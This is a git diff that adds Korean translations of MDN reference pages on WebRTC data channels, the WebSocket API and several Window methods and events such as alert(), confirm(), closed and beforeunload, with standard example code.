마찬가지로 signalingstatechangeevent를 받을 수 있는데, 시그널링 상태가 "closed"으로 바뀌면 call을 완전히 종료시킨다.

+ +
  myPeerConnection.onsignalingstatechange = function(event) {
+    switch(myPeerConnection.signalingState) {
+      case "closed":
+        closeVideoCall();
+        break;
+    }
+  };
+ +
ICE gathering state
+ +

{{event("icegatheringstatechange")}} events are used to let you know when the ICE candidate gathering process state changes. Our example doesn't use this for anything, but we're implementing it for logging, observing via the console log how the whole process works.

+ +
function handleICEGatheringStateChangeEvent(event) {
+  // Our sample just logs information to console here,
+  // but you can do whatever you need.
+}
+
+ +

Next steps

+ +

You can now play with this sample to see it in action. Open the Web console on both devices and look at the logged output—although you don't see it in the code as shown above, the code on the server (and on GitHub) has a lot of console output so you can see the signaling and connection processes at work.

diff --git a/files/ko/web/api/webrtc_api/using_data_channels/index.html b/files/ko/web/api/webrtc_api/using_data_channels/index.html new file mode 100644 index 0000000000..e1c5963e58 --- /dev/null +++ b/files/ko/web/api/webrtc_api/using_data_channels/index.html @@ -0,0 +1,95 @@ +--- +title: WebRTC data channel 사용하기 +slug: Web/API/WebRTC_API/Using_data_channels +translation_of: Web/API/WebRTC_API/Using_data_channels +--- +

{{WebRTCSidebar}}{{draft}}

+ +

{{domxref("RTCPeerConnection")}} 인터페이스를 사용하여 WebRTC Peerconnction을 연결하면 이제 두 Peer간의 커넥션을 통하여 미디어 데이터를 주고 받을수 있게됩니다. 그뿐아니라 WebRTC로 할수 있는 일은 더 있습니다. 이 가이드에서 우리는 peer connection에 데이터 채널을 추가하는 방법과 임의의 데이터, 즉 우리가 원하는 어떠한 포멧의 데이터들을 안전하게 주고 받는 방법을 배우게 될 것 입니다.        

+ +
+

모든 WebRTC 컴포넌트들은 암호화를 사용하게 되어 있기 때문에 RTCDataChannel을 이용하는 어떤 데이터 전송도 자동적으로 Datagram Transport Layer Security (DTLS)을 사용하여 암호화 됩니다. 자세한 내용은 {{anch("Security")}} 를 참고하십시오.

+
+ +

데이터 채널 만들기

+ +

{{domxref("RTCDataChannel")}}를 이용한 기초적인 데이터 전송은 아래의 두 방법중 하나를 이용하여 만들수 있습니다.

+ + + +

위에서 언급한 두가지 방법을 각각 살펴보겠습니다. 우선은 가장 일반적으로 사용되는 첫번째 방법부터 살펴보겠습니다.

+ +

자동 협상(Automatic negotiation)

+ +

{{domxref("RTCDataChannel")}} 연결의 협상을 핸들링하기 위해 대부분 Peer 연결을 사용하게 됩니다. 이를 위해 간단히 {{domxref("RTCDataChannelInit.negotiated", "negotiated")}} 프로퍼티의 값을 지정하지 않고 {{domxref("RTCPeerConnection.createDataChannel", "createDataChannel()")}} 를 호출하거나 그저 false로 설정합니다. 이 행위는 협상을 핸들링하기 위해 자동적으로 RTCPeerConnection를 발동시키고 원격 피어(remote peer)가 데이터 채널을 만들고 네트워크를 통하여 서로를 연결되게 만듭니다.

+ +

createDataChannel()를 통해 RTCDataChannel 객체가 즉시 반환됩니다. 그후 {{domxref("RTCDataChannel.open_event", "open")}}의 이벤트가 RTCDataChannel로 송신되는 것을 확인한다면 성공적으로 연결되었다고 말할 수 있습니다. 

+ +
let dataChannel = pc.createDataChannel("MyApp Channel");
+
+dataChannel.addEventListener("open", (event) => {
+  beginTransmission(dataChannel);
+});
+ +

수동 협상(Manual negotiation)

+ +

Data channel의 수동협상을 위해서 우선 {{domxref("RTCPeerConnection")}}에 있는  {{domxref("RTCPeerConnection.createDataChannel", "createDataChannel()")}} 매소드를 사용하여 {{domxref("RTCDataChannel")}} 객체를 생성해야 합니다. 이때 {{domxref("RTCDataChannelInit.negotiated", "negotiated")}} 프로퍼티의 값을 true로 설정해야 합니다. 이 피어 연결을 위한 신호들은 설정하는 측의 피어 연결 협상을 시도하지 않도록 합니다.

+ +

대역외의 연결 협상은 웹서버나 다른 방법을 이용해야 합니다. 이 절차들은 수동으로 RTCDataChannel을 원격 피어에게 신호를 보내야 하며 동일한 {{domxref("RTCDataChannel.id", "id")}}를 사용해야 하고 negotiated 프로퍼티는 true로 설정해야합니다. 이 설정들은  RTCPeerConnection를 이용해 두 오브젝트가 연결되게 합니다.

+ +
let dataChannel = pc.createDataChannel("MyApp Channel", {
+  negotiated: true
+});
+
+dataChannel.addEventListener("open", (event) => {
+  beginTransmission(dataChannel);
+});
+
+requestRemoteChannel(dataChannel.id);
+ +

위의 코드에서는 채널 생성시 negotiated 프로퍼티를 true로 설정해주었고 requestRemoteChannel()을 호출함으로 원격 채널과 동일한 로컬 채널 ID를 만들기 위한 협상(negotiation)을 발동시켰습니다.

+ +

이 절차를 밟으므로서 다른 프로퍼티를 갖는 각각의 피어들이 데이터 채널을 생성하고 같은 id 값을 사용하는 채널을 명확하고 쉽게 생성할수 있습니다.

+ +

버퍼링(Buffering)

+ +

WebRTC 데이터채널은 아웃바운드 데이터에 대해 버퍼링을 제공합니다. 이것은 자동적으로 처리가됩니다. buffer의 사이즈를 컨트롤 할 수 없는 동안 당신은 얼마나 많은 데이터가 현재 버퍼 되어 있는지 배울 수 있고 큐 데이터의 버퍼가 고갈되기 시작할 때 알림을 받도록 선택할 수 도 있습니다. 이것은 메모리 과다사용이나 채널을 완전히 밀어내버리는 것을 없애고 언제나 데이터를 보낼수 있도록 효과적인 루틴을 만들기 쉽게 해줍니다. 

+ +

<<<write more about using bufferedAmount, bufferedAmountLowThreshold, onbufferedamountlow, and bufferedamountlow here>>>

+ +

...

+ +

메세지 크기 제한에 대해 이해하기

+ +

네트워크를 통하여 전송되는 데이터라면 그 데이터는 반드시 사이즈가 제한됩니다. 기초적인 레벨의 이야기를 하자면, 각각의 네트워크 패킷은 어떠한 값보다 클 수 없습니다. (정확한 숫자는 네트워크와 전송 계층이 사용하고 있는 것에 따라 다릅니다.) 어플리케이션 계층에서는 — 즉 당신의 코드가 돌아가고 있는 WebRTC {{Glossary("user agent", "user agent's")}} — WebRTC가 네트워크의 전송계층위의 최대 패킷사이즈보다 메시지가 더 큰지 확인하는 것을 구현할 수 있습니다.

+ +

만약 당신이 사이즈 제한 크기가 궁금하지 않다거나 대용량 메세지를 보내거나 받는 것이 필요하지 않다면 이 이야기는 복잡한 이야기가 될 수 있습니다.  Even when user agents share the same underlying library for handling Stream Control Transmission Protocol (SCTP) data, there can still be variations due to how the library is used. 예를들어 Firefox와 구글 크롬은 SCTP를 구현하기 위해 usrsctp 라이브러리를 사용합니다. 이때 그  두 브라우저가 어떻게 라이브러리에 요청하고 이벤트에 반응하는지에 따라 RTCDataChannel 을 이용한 데이터 전송이 실패하는 경우가 있습니다.

+ +

두 유저가 파이어폭스에 있는 데이터채널을 사용하여 통실할 때 메세지 사이즈의 제한은 파이어폭스와 크롬을 각각 사용할 때보다 큽니다. 왜냐하면 파이어폭스의 구현 방법은 현재 다중 SCTP메세지를 전송하는 기술을 deprecated하여 놓았습니다. 하지만 크롬은 여전히 가능합니다. 크롬은 완성 될것이라 확신하는 메시지 시리즈를 보는 대신 RTCDataChannel을 다중 메시지로서 수신하는 것으로 대채할 것입니다. 

+ +

메세지가 16kiB 작다면 별다른 무리 없이 보낼 수 있을 것 입니다. 대부분의 메이저 user agents도 동일하게 다룹니다. 

+ +

대용량 메세지에 대해 고려해보기

+ +

현재 메세지 사이즈가 64kiB (16kiB if you want to support cross-browser exchange of data)를 넘는 RTCDataChannel 는 구현되지 않았습니다. 문제는 RTCDataChannel에서 송수신 프로토콜로 사용되는 SCTP가 원래 시그널링 프로토콜로 디자인 되었다는 것 입니다. 그래서 메세지가 상대적으로 작은 사이즈라고 가정하고 만들어진 프로토콜입니다.  Support for messages larger than the network layer's {{interwiki("wikipedia", "Maximum transmission unit", "MTU")}} was added almost as an afterthought, in case signaling messages needed to be larger than the MTU. 이 기능은 각각의 조각에 연속적인 시퀀스 번호를 필요로 합니다. 즉 상호배치를 통해 동시에 여러 데이터를 보낼 수 없고 하나를 보낸 이후 다시 하나를 보내야 합니다.

+ +

이러한 점은 문제가 됩니다.  지금 그리고 이후에도 WebRTC를 구현하고 있는 것들을 포함한 다양한 어플리케이션 들이 더욱더 큰 메시지를 전송하기 위해 SCTP를 사용합니다. 결국에 메시지가 감당할수 없을 만큼 커지게 된다면 정말 중요한 시그널링 메시지를 포함한 데이터 채널에서 전송되는 모든 다른 데이터들이 블락당할수 있다는 것을 알게되었습니다.

+ +

이것은 브라우저가 현재의 대용량 메시지를 처리하는 표준인 end-of-record(EOR) 플레그 (메시지가 여러 시리즈에서 마지막일때 하나의 페이로드로서 취급하게하는 플레그)를 제공할때 문제가 됩니다. 이 플레그는 Firefox 57에서는 구현이 되어있습니다. 그러나 Chrome 에서는 아직 구현이 되어있지 않습니다.(Chromium Bug 7774 참조). EOR를 제공하는 RTCDataChannel 페이로드는 더욱 커질 수 있습니다. (공식적으로 256kiB까지이며 Firfox의 구현으로는 1GiB까지가능). 256kiB에서 조차 긴급한 트래픽을 처리하기에는 유의미한 지연을 야기시키에 충분히 큰 용량입니다. 만약 여기서 더 커진다면 지연은 당신이 특정한 조작을 하더라도 줄일수 없을 것입니다.

+ +

이러한 문제점을 해결하기 위해 스트림 스케쥴러(stream schedulers)라고하는 이름지어져 있으며 SCTP ndata specification이라고도 불리우는 새로운 시스템을 디자인하였습니다. 이 스케쥴러는 WebRTC 데이터 채널에 구현되어 있는 스트림을 포함한 각기 다른 스트림에 메시지를 상호배치하여 전송가능합니다. 이 제안은 IETF 제안(draft form) 상태에 있지만 한번 구현된다면 SCTP 계층은 자동적으로 서브메시지들에게 모든 데이터 채널을 통과할수 있는 기회를 보장하는 상호배치를 하기때문에 기본적으로 사이즈에 제한이 없는 메시지를 보낼수 있게될것입니다.

+ +

Firefox는 ndata를 지원하기 위해 현재 구현단계에 있습니다. 일반적인 사용이 언제쯤 가능할지에 대해 궁금하시다면 {{bug(1381145)}} 을 관심있게 보고 계십시요. Chrome 팀은 Chrome Bug 5696 를 통해 ndata 지원을 위한 구현을 트래킹하고 있습니다.

+ +
+

이 섹션에 있는 대부분의 정보는 다음 블로그 포스트를 기반으로 작성되었습니다. Demystifyijng WebRTC's Data Channel Message Size Limitations, written by Lennart Grahl. 이 블로그를 보시면 더욱 자세한 내용이 나와 있습니다. 그러나 브라우져들은 당시보다 업데이트 되었기때문에 그 정보들은 현재와 맞지 않을 수 도 있습니다. 또한 현재는 시간이 많이 흘러 대부분의 메이저 브라우저에서는 EOR이 구현되어 있습니다.

+
+ +

보안(Security)

+ +

WebRTC로 전송되는 모든 데이터는 암호화됩니다.  RTCDataChannel 의 암호화는Transport Layer Security (TLS)를 바탕으로 하는 Datagram Transport Layer Security (DTLS)를 사용합니다. TLS는 모든 암호화된 HTTPS 통신에 사용되기 때문에 data channel에 사용되는 모든 데이터는 사용자의 브라우저가 데이터를 주고받는 만큼의 보안이 보장됩니다.

+ +

조금더 근본적으로 WebRTC는 두 사용자간의 peer-to-peer 연결이기때문에 데이터가 어떠한 다른 웹이나 어플리케이션 서버를 경유하지 않습니다. 이러한 통신방식으로 인해 데이터가 중간에 가로채어질 가능성이 줄어듭니다.

diff --git a/files/ko/web/api/websocket/index.html b/files/ko/web/api/websocket/index.html new file mode 100644 index 0000000000..59bbb8aac9 --- /dev/null +++ b/files/ko/web/api/websocket/index.html @@ -0,0 +1,248 @@ +--- +title: WebSocket +slug: Web/API/WebSocket +tags: + - API +translation_of: Web/API/WebSocket +--- +
{{APIRef("Web Sockets API")}}{{SeeCompatTable}}
+ +

WebSocket 객체는 서버와의 WebSocket 연결을 생성하고 관리할 수 있는 API 들을 제공합니다. 이는 데이터를 전송하거나 주고 받는 등의 API 들을 포함합니다.

+ +

WebSocket 생성자는 하나의 필수 파라미터와, 하나의 옵셔널 파라미터를 받습니다:

+ +
WebSocket WebSocket(
+  in DOMString url,
+  in optional DOMString protocols
+);
+
+WebSocket WebSocket(
+  in DOMString url,
+  in optional DOMString[] protocols
+);
+
+ +
+
url
+
연결할 URL 주소입니다; 웹소켓 서버가 응답할 수 있는 위치의 주소이여야 합니다.
+
protocols {{optional_inline}}
+
단일 프로토콜 문자열, 또는 프로토콜 문자열의 배열. 이 문자열들은 서브 프로토콜을 지정하는데 사용됩니다. 이를 통해 하나의 웹소켓 서버가 여러개의 웹 소켓 서브 프로토콜을 구현할 수 있도록 해줍니다. (예를 들어, 하나의 서버가 두 개 이상의 커뮤니케이션 방식을 가지고 싶도록 하고 싶을 때). 만약 지정하지 않으면 빈 문자열을 넣은 것으로 간주됩니다.
+
+ +

이 생성자는 예외가 발생할 수 있습니다:

+ +
+
SECURITY_ERR
+
The port to which the connection is being attempted is being blocked.
+
+ +

메소드 오버뷰

+ + + + + + + + + + +
void close(in optional unsigned long code, in optional DOMString reason);
void send(in DOMString data);
+ +

어트리뷰트

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
AttributeTypeDescription
binaryType{{DOMXref("DOMString")}}A string indicating the type of binary data being transmitted by the connection. This should be either "blob" if DOM {{domxref("Blob")}} objects are being used or "arraybuffer" if {{jsxref("ArrayBuffer")}} objects are being used.
bufferedAmountunsigned longThe number of bytes of data that have been queued using calls to {{manch("send")}} but not yet transmitted to the network. This value does not reset to zero when the connection is closed; if you keep calling {{manch("send")}}, this will continue to climb. Read only
extensions{{DOMXref("DOMString")}}The extensions selected by the server. This is currently only the empty string or a list of extensions as negotiated by the connection.
onclose{{domxref("EventListener")}}WebSocket 인터페이스의 연결상태가 readyState 에서CLOSED 로 바뀌었을 때 호출되는 이벤트 리스너입니다. 이 이벤트 리스너는 "close"라는 이름의 CloseEvent를 받습니다.
onerror{{domxref("EventListener")}}"error" 라는 이름의 이벤트가 발생하면 처리할 핸들러입니다. 이는 에러가 발생하는 상황에 호출됩니다.
onmessage{{domxref("EventListener")}}"message" 이름의 MessageEvent 이벤트가 발생하면 처리할 핸들러입니다. 이는 서버로부터 메세지가 도착했을 때 호출됩니다.
onopen{{domxref("EventListener")}}WebSocket 인터페이스의 연결상태가 readyState 에서 OPEN으로 바뀌었을 때 호출되는 이벤트 리스너입니다. ; 연결 상태가 OPEN으로 바뀌었다는 말은 데이터를 주고 받을 준비가 되었다는 뜻입니다. 이 리스너가 처리하는 이벤트는 "open"이라는 이벤트 하나입니다.
protocol{{DOMXref("DOMString")}}서버에 의해 선택된 서브 프로토콜을 가리킵니다; 이 값은 객체를 생성하면서 protocols 파라미터에 전달했던 값 들 중 하나입니다.
readyStateunsigned short연결의 현재 상태입니다; 값은 {{anch("Ready state constants")}} 중에 하나입니다. 읽기 전용.
url{{DOMXref("DOMString")}}생성자에 의해 해석된 URL입니다. 이는 항상 절대 주소를 가리킵니다. 읽기 전용.
+ +

상수

+ +

Ready state constants

+ +

아래의 값들은 readyState 어트리뷰트가 웹소켓의 연결 상태를 나타내기 위해서 사용됩니다.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ConstantValueDescription
CONNECTING0연결이 수립되지 않은 상태입니다.
OPEN1연결이 수립되어 데이터가 오고갈 수 있는 상태입니다.
CLOSING2연결이 닫히는 중 입니다.
CLOSED3연결이 종료되었거나, 연결에 실패한 경우입니다.
+ +

메소드

+ +

close()

+ +

맺어진 연결, 또는 연결 시도를 종료합니다. 이미 종료된 경우에는 아무 동작도 하지 않습니다.

+ +
void close(
+  in optional unsigned short code,
+  in optional DOMString reason
+);
+
+ +

Parameters

+ +
+
code {{optional_inline}}
+
연결이 종료되는 이유를 가리키는 숫자 값입니다. 지정되지 않을 경우 기본값은 1000으로 간주됩니다. (일반적인 경우의 "transaction complete" 종료를 나타내는 값).  허용되는 값들은 CloseEvent 페이지의  list of status codes 를 참고하세요.
+
reason {{optional_inline}}
+
연결이 왜 종료되는지를 사람이 읽을 수 있도록 나타내는 문자열입니다. 이 문자열은 UTF-8 포멧이며, 123 바이트를 넘을 수 없습니다. (글자 수 아님).
+
+ +

Exceptions thrown

+ +
+
INVALID_ACCESS_ERR
+
잘못된 code 값을 지정했습니다.
+
SYNTAX_ERR
+
reason 값이 너무 길거나, 짝을 이루지 못하는 서로게이트 문자가 있습니다.
+
+ +
+

Note: In Gecko, this method didn't support any parameters prior to Gecko 8.0 {{geckoRelease("8.0")}}.

+
+ +

send()

+ +

웹소켓 연결을 통해 데이터를 서버로 전송합니다.

+ +
void send(
+  in DOMString data
+);
+
+void send(
+  in ArrayBuffer data
+);
+
+void send(
+  in Blob data
+);
+
+ +

Parameters

+ +
+
data
+
서버로 전송할 텍스트 메세지입니다.
+
+ +

Exceptions thrown

+ +
+
INVALID_STATE_ERR
+
연결이 현재 OPEN 상태가 아닙니다.
+
SYNTAX_ERR
+
data 값에 짝을 이루지 못하는 서로게이트 문자가 있습니다.
+
+ +
+

Note: Gecko's implementation of the send() method differs somewhat from the specification in {{Gecko("6.0")}}; Gecko returns a boolean indicating whether or not the connection is still open (and, by extension, that the data was successfully queued or transmitted); this is corrected in {{Gecko("8.0")}}.

+ +

As of {{Gecko("11.0")}}, support for {{jsxref("ArrayBuffer")}} is implemented but not {{domxref("Blob")}} data types.

+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Websockets", "#the-websocket-interface", "WebSocket")}}{{Spec2("Websockets")}}Initial definition
+ +

브라우저 호환성

+ +
{{Compat("api.WebSocket")}}
+ +

같이 보기

+ + diff --git a/files/ko/web/api/websocket/readystate/index.html b/files/ko/web/api/websocket/readystate/index.html new file mode 100644 index 0000000000..c11bd76867 --- /dev/null +++ b/files/ko/web/api/websocket/readystate/index.html @@ -0,0 +1,71 @@ +--- +title: WebSocket.readyState +slug: Web/API/WebSocket/readyState +translation_of: Web/API/WebSocket/readyState +--- +

{{APIRef("Web Sockets API")}}

+ +

WebSocket.readyState 읽기 전용 속성은 {{domxref("WebSocket")}} 연결의 현재 상태를 반환한다.

+ +

Syntax

+ +
var readyState = aWebSocket.readyState;
+ +

Value

+ +

아래의 unsigned short 값들 중 하나 :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ValueStateDescription
0CONNECTING소켓이 생성되었다. 연결이 아직 열려 있지 않다.
1OPEN연결이 열려 있고, 통신할 준비가 되었다.
2CLOSING연결이 닫히는 중이다.
3CLOSED연결이 닫혔거나 열 수 없었다.
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-websocket-readystate', 'WebSocket: readyState')}}{{Spec2('HTML WHATWG')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.WebSocket.readyState")}}

diff --git a/files/ko/web/api/websocket/websocket/index.html b/files/ko/web/api/websocket/websocket/index.html new file mode 100644 index 0000000000..93951cf658 --- /dev/null +++ b/files/ko/web/api/websocket/websocket/index.html @@ -0,0 +1,51 @@ +--- +title: WebSocket() +slug: Web/API/WebSocket/WebSocket +translation_of: Web/API/WebSocket/WebSocket +--- +

{{APIRef("Web Sockets API")}}

+ +

WebSocket() 생성자는 새로운 {{domxref("WebSocket")}} 객체를 반환한다.

+ +

Syntax

+ +
var ws = new WebSocket("ws://localhost:8080");
+ +

Parameters

+ +
+
url
+
연결할 곳의 URL; 웹소켓 서버가 응답할 수 있는 URL 값을 지정해줘야 한다.
+
protocols {{optional_inline}}
+
단일 혹은 여러개의 프로토콜 배열. 이 문자열들은 서브 프로토콜들을 가리킨다. 따라서 하나의 서버는 여러개의 서브 프로토콜을 구현할 수 있다. (예를 들면, 한 개의 서버에서 protocol에 따라 다양한 상호 작용 방식을 사용하기를 바랄 수 있다) . 만약 프로토콜을 지정해주지 않으면, 비어 있다고 간주한다.
+
+ +

Exceptions thrown

+ +
+
SECURITY_ERR
+
연결을 시도하는 포트가 닫혀 있을 때 발생한다.
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-websocket', 'the WebSocket constructor')}}{{Spec2('HTML WHATWG')}} 
+ +

Browser compatibility

+ + + +

{{Compat("api.WebSocket.WebSocket")}}

diff --git a/files/ko/web/api/window/alert/index.html b/files/ko/web/api/window/alert/index.html new file mode 100644 index 0000000000..c6037986c3 --- /dev/null +++ b/files/ko/web/api/window/alert/index.html @@ -0,0 +1,71 @@ +--- +title: Window.alert() +slug: Web/API/Window/alert +tags: + - API + - HTML DOM + - Method + - Reference + - Window +translation_of: Web/API/Window/alert +--- +

{{APIRef}}

+ +

Window.alert() 메서드는 확인 버튼을 가지며 메시지를 지정할 수 있는 경고 대화 상자를 띄웁니다.

+ +

구문

+ +
window.alert([message]);
+ +

매개변수

+ +
+
message {{optional_inline}}
+
경고 대화 상자에 표시할 텍스트 문자열이거나, 문자열로 변환해 나타낼 객체.
+
+ +

예제

+ +
window.alert("Hello world!");
+alert("Hello world!");
+
+ +

상기 두 코드의 동작은 모두 다음과 같습니다.

+ +

Image:AlertHelloWorld.png

+ +

참고

+ +

경고 대화 상자는 사용자의 확인을 제외한 다른 입력을 요구하지 않는 메시지를 전달할 때에 쓰여야 합니다.

+ +

대화 상자는 모달 창(부모 창으로 돌아가기 전에 사용자의 상호 작용을 요구하는 자식 창)으로, 사용자는 대화 상자가 닫힐 때까지 다른 모든 인터페이스에 접근할 수 없습니다. 따라서 대화 상자(또는 모달 창)를 만드는 함수를 남용하면 안 됩니다.

+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML5 Web application', '#dom-alert', 'alert()')}}{{Spec2('HTML5 Web application')}}
+ +

브라우저 호환성

+ + + +

{{Compat("api.Window.alert")}}

+ +

관련 문서

+ + diff --git a/files/ko/web/api/window/beforeunload_event/index.html b/files/ko/web/api/window/beforeunload_event/index.html new file mode 100644 index 0000000000..216b85ed7a --- /dev/null +++ b/files/ko/web/api/window/beforeunload_event/index.html @@ -0,0 +1,105 @@ +--- +title: 'Window: beforeunload 이벤트' +slug: Web/API/Window/beforeunload_event +tags: + - Event + - Reference + - Window + - 이벤트 +translation_of: Web/API/Window/beforeunload_event +--- +
{{APIRef}}
+ +

beforeunload 이벤트는 문서와 그 리소스가 언로드 되기 직전에 {{domxref("window")}}에서 발생합니다. 이벤트 발생 시점엔 문서를 아직 볼 수 있으며 이벤트도 취소 가능합니다.

+ + + + + + + + + + + + + + + + + + + + +
확산아니오
취소 가능
인터페이스{{domxref("Event")}}
이벤트 처리기 속성{{domxref("WindowEventHandlers/onbeforeunload", "onbeforeunload")}}
+ +

beforeunload 이벤트를 사용하면 사용자가 페이지를 떠날 때 정말로 떠날 것인지 묻는 확인 대화 상자를 표시할 수 있습니다. 사용자가 확인을 누를 경우 브라우저는 새로운 페이지로 탐색하고, 취소할 경우 탐색을 취소하고 현재 페이지에 머무릅니다.

+ +

명세에 따라, 확인 대화 상자를 표시하려면 이벤트의 {{domxref("Event.preventDefault()", "preventDefault()")}}를 호출해야 합니다.

+ +

다만, 모든 브라우저가 위의 방법을 지원하는 것은 아니므로 아래의 두 가지 구형 방법을 사용해야 할 수도 있습니다.

+ + + +

일부 브라우저에서는 확인 대화 상자의 문구를 직접 지정할 수 있었습니다. 그러나 현재 대부분의 브라우저에서는 사용자 지정 문구를 사용하지 않으며 이 동작을 지원하지 않습니다.

+ +

원치 않는 팝업을 방지하기 위해, 브라우저는 사용자가 이벤트 발생 전에 현재 페이지와 상호작용을 했을 때만 대화 상자를 표시할 수도 있고, 심지어 아예 표시하지 않을 수도 있습니다.

+ +

window 또는 documentbeforeunload 이벤트 처리기를 부착하면 페이지가 브라우저의 메모리 내 탐색 캐시에 추가되는 것을 방지합니다.

+ +

HTML 명세는 이벤트 처리 중의 {{domxref("window.alert()")}}, {{domxref("window.confirm()")}}, 및 {{domxref("window.prompt()")}} 메서드를 무시할 수 있음을 요구합니다. HTML 명세에서 더 자세한 정보를 확인하세요.

+ +

예제

+ +

HTML 명세에 따르면 개발 시 {{domxref("Event.returnValue")}} 대신 {{domxref("Event.preventDefault()")}} 메서드를 사용해야 합니다. 그러나 모든 브라우저가 이 방법을 지원하는 것은 아닙니다.

+ +
window.addEventListener('beforeunload', (event) => {
+  // 표준에 따라 기본 동작 방지
+  event.preventDefault();
+  // Chrome에서는 returnValue 설정이 필요함
+  event.returnValue = '';
+});
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "indices.html#event-beforeunload", "beforeunload")}}{{Spec2("HTML WHATWG")}}
{{SpecName("HTML5 W3C", "browsers.html#unloading-documents", "beforeunload")}}{{Spec2("HTML5 W3C")}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("api.Window.beforeunload_event")}}

+ +

{{domxref("WindowEventHandlers.onbeforeunload")}}에서 각각의 브라우저가 beforeunload를 어떻게 처리하는지 자세히 알아보세요.

+ +

같이 보기

+ + diff --git a/files/ko/web/api/window/cancelanimationframe/index.html b/files/ko/web/api/window/cancelanimationframe/index.html new file mode 100644 index 0000000000..51c506a7e3 --- /dev/null +++ b/files/ko/web/api/window/cancelanimationframe/index.html @@ -0,0 +1,72 @@ +--- +title: window.cancelAnimationFrame() +slug: Web/API/Window/cancelAnimationFrame +tags: + - API + - DOM + - 레퍼런스 + - 메소드 + - 실험적 + - 애니메이션 + - 윈도우 +translation_of: Web/API/Window/cancelAnimationFrame +--- +
{{APIRef}}
+ +

window.cancelAnimationFrame() 메소드는 이전에 {{domxref("window.requestAnimationFrame()")}} 을 호출하여 스케줄된 애니메이션 프레임 요청을 취소합니다.

+ +

구문

+ +
window.cancelAnimationFrame(requestID);
+
+ +

Parameters

+ +
+
requestID
+
요청된 콜백 {{domxref("window.requestAnimationFrame()")}} 을 호출하여 반환된 ID 값.
+
+ +

예시

+ +
var requestAnimationFrame = window.requestAnimationFrame || window.mozRequestAnimationFrame ||
+                            window.webkitRequestAnimationFrame || window.msRequestAnimationFrame;
+
+var cancelAnimationFrame = window.cancelAnimationFrame || window.mozCancelAnimationFrame;
+
+var start = window.mozAnimationStartTime;  // Firefox 에서만 지원됨. 다른 브라우저에서는 Date.now() 같은 것을 사용할 수 있음.
+
+var myReq;
+
+function step(timestamp) {
+  var progress = timestamp - start;
+  d.style.left = Math.min(progress / 10, 200) + 'px';
+  if (progress < 2000) {
+    myReq = requestAnimationFrame(step);
+  }
+}
+myReq = requestAnimationFrame(step);
+
+cancelAnimationFrame(myReq);
+
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.Window.cancelAnimationFrame")}}

+
+ +

명세

+ + + +

함께 보기

+ + diff --git a/files/ko/web/api/window/closed/index.html b/files/ko/web/api/window/closed/index.html new file mode 100644 index 0000000000..4c077bda92 --- /dev/null +++ b/files/ko/web/api/window/closed/index.html @@ -0,0 +1,70 @@ +--- +title: Window.closed +slug: Web/API/Window/closed +tags: + - API + - HTML DOM + - Property + - Reference + - Window +translation_of: Web/API/Window/closed +--- +
{{APIRef}}
+ +

Window.closed 읽기 전용 속성은 참조한 창이 닫혔는지 여부를 나타냅니다.

+ +

구문

+ +
const isClosed = windowRef.closed;
+ +

+ +

창이 닫혔으면 true, 그렇지 않으면 false.

+ +

예제

+ +

팝업에서 자신을 띄운 창의 URL 바꾸기

+ +

다음 예제는 팝업 창에서 자신을 띄운 창의 {{glossary("URL")}}을 바꾸는 예제입니다. URL을 바꾸기 전, 현재 창을 띄운 창의 존재 유무를 {{domxref("window.opener")}} 속성으로 검사하고, closed 속성으로 이미 닫히지는 않았는지도 검사합니다.

+ +
// Check that an opener exists and is not closed
+if (window.opener && !window.opener.closed) {
+  window.opener.location.href = 'http://www.mozilla.org';
+}
+ +
+

참고: 팝업은 자신을 띄운 창에만 접근할 수 있습니다.

+
+ +

이전에 열었던 팝업 새로고침

+ +

이번 예제의 refreshPopupWindow()는 팝업의 {{domxref("Location.reload", "reload()")}} 메서드를 호출해 데이터를 다시 불러옵니다. 만약 팝업을 아직 열지 않았거나, 사용자가 이미 닫은 경우 새로운 팝업을 띄웁니다.

+ +
const popupWindow = null;
+
+function refreshPopupWindow() {
+  if (popupWindow && !popupWindow.closed) {
+    // popupWindow is open, refresh it
+    popupWindow.location.reload(true);
+  } else {
+    // Open a new popup window
+    popupWindow = window.open('popup.html', 'dataWindow');
+  }
+}
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-window-closed', 'window.closed')}}{{Spec2('HTML WHATWG')}}
diff --git a/files/ko/web/api/window/confirm/index.html b/files/ko/web/api/window/confirm/index.html new file mode 100644 index 0000000000..f2895337bd --- /dev/null +++ b/files/ko/web/api/window/confirm/index.html @@ -0,0 +1,76 @@ +--- +title: Window.confirm() +slug: Web/API/Window/confirm +tags: + - API + - HTML DOM + - Method + - Reference + - Window +translation_of: Web/API/Window/confirm +--- +
{{ApiRef("Window")}}
+ +

Window.confirm() 메서드는 확인과 취소 두 버튼을 가지며 메시지를 지정할 수 있는 모달 대화 상자를 띄웁니다.

+ +

구문

+ +
result = window.confirm(message);
+
+ +

Parameters

+ +
+
message
+
경고 대화 상자에 표시할 텍스트 문자열.
+
+ +

반환 값

+ +

확인 (true) 또는 취소 (false) 중 사용자가 선택한 값. 브라우저가 페이지 내 대화 상자를 무시하고 있으면 항상 false입니다.

+ +

예제

+ +
if (window.confirm("Do you really want to leave?")) {
+  window.open("exit.html", "Thanks for Visiting!");
+}
+
+ +

위 코드는 다음 결과를 보입니다.

+ +

firefox confirm
+  

+ +

참고

+ +

